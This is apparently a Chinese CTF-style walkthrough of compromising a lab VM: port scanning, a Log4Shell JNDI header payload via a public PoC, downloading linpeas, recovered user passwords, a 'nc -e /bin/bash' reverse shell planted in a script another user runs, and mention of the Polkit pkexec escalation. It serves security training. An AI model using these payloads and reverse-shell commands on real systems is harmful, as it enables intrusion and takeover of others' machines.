前言提要

一个集合了Weblogic4j的漏洞且可以使用通杀漏洞:Linux Polkit提权的靶机,很不错哦

kali:192.168.132.139

靶机IP:192.168.132.176

image-20220412205854240

信息收集

nmap -sS -A -sV -T4 -p- 192.168.132.176

image-20220412210105973

开放了22、80和8080端口

进入80端口的web页面就是一个登陆口,看来我们需要爆破账号密码了(尝试SQL注入万能密码,失败)

8080端口是一个报错页面

image-20220412210500275

目录扫描,扫描一些敏感文件之类的,使用gobuster来扫描

访问note.txt页面

image-20220412211103342

这不就是提醒我们有Log4J漏洞了吗(这可是2021年爆出的一个大漏洞,安全圈过年的一个洞呀)

Logic4J

下载相关poc:https://github.com/kozmer/log4j-shell-poc.git

(要记得这个漏洞的利用java环境为jdk1.8.0,且在kali机器下该POC的目录下必须要有jdk1.8.0_20的文件夹:https://repo.huaweicloud.com/java/jdk/8u201-b09/jdk-8u201-linux-x64.tar.gz)

然后在该目录下执行poc

python3 poc.py --userip 192.168.132.139
执行payload:${jndi:ldap://192.168.132.139:1389/a}
在kali监听:
 nc -lvnp 9001 
再打开一个终端:
curl http://192.168.132.176:8080/ -H 'X-Api-Version: ${jndi:ldap://192.168.132.139:1389/a}'

记住SpringBoot的log4j2漏洞payload验证是在"X-Api-Version"

image-20220412211706800

image-20220412211932563

居然是root权限!!!我们走运了??那是不可能的,经过测试这是一个docker环境

我们上传一个提权信息收集脚本:linpeas.sh

在kali下载好脚本开启一个终端页面开启远程下载

python3 -m http.server 7788
wget http://192.168.132.139:7788/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

进一步证明了是docker

image-20220412220942827

image-20220412221145748

发现一些目录查看一下,找到了roger的密码: b3st4l13n

使用远程登陆

ssh roger@192.168.132.176

连接很鸡肋!!登进后输入命令啥也不显示,直到我准备重新尝试(Ctrl+C)

成功拿下一个flag

image-20220412212642796

继续使用脚本信息收集,发现一个kang的密码:k4ng1sd4b3st

切换用户到kang,然后在主目录下发现一个奇怪的文件

文件一会存在一会小时,感觉像是kang创建了一个执行文件,然后执行成功后就删除

echo "echo test >/tmp/test" > test.sh
ls /tmp/test -l
echo "nc -e /bin/bash 192.168.2.148 4444" >test.sh

另一个终端监听反弹shell

nc -nvlp 4444
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd root
cat root.txt

image-20220412212948891

提权二:Linux Polkit(CVE-2021-4034)

Polkit(原名PolicyKit)是一个用于在类 Unix 操作系统中控制系统范围权限的组件。它为非特权进程与特权进程通信提供了一种有组织的方式。还可以使用polkit以提升的权限执行命令,先使用命令pkexec,然后是要执行的命令(具有root权限)

image-20220412222550779

image-20220412222307696

Logo

更多推荐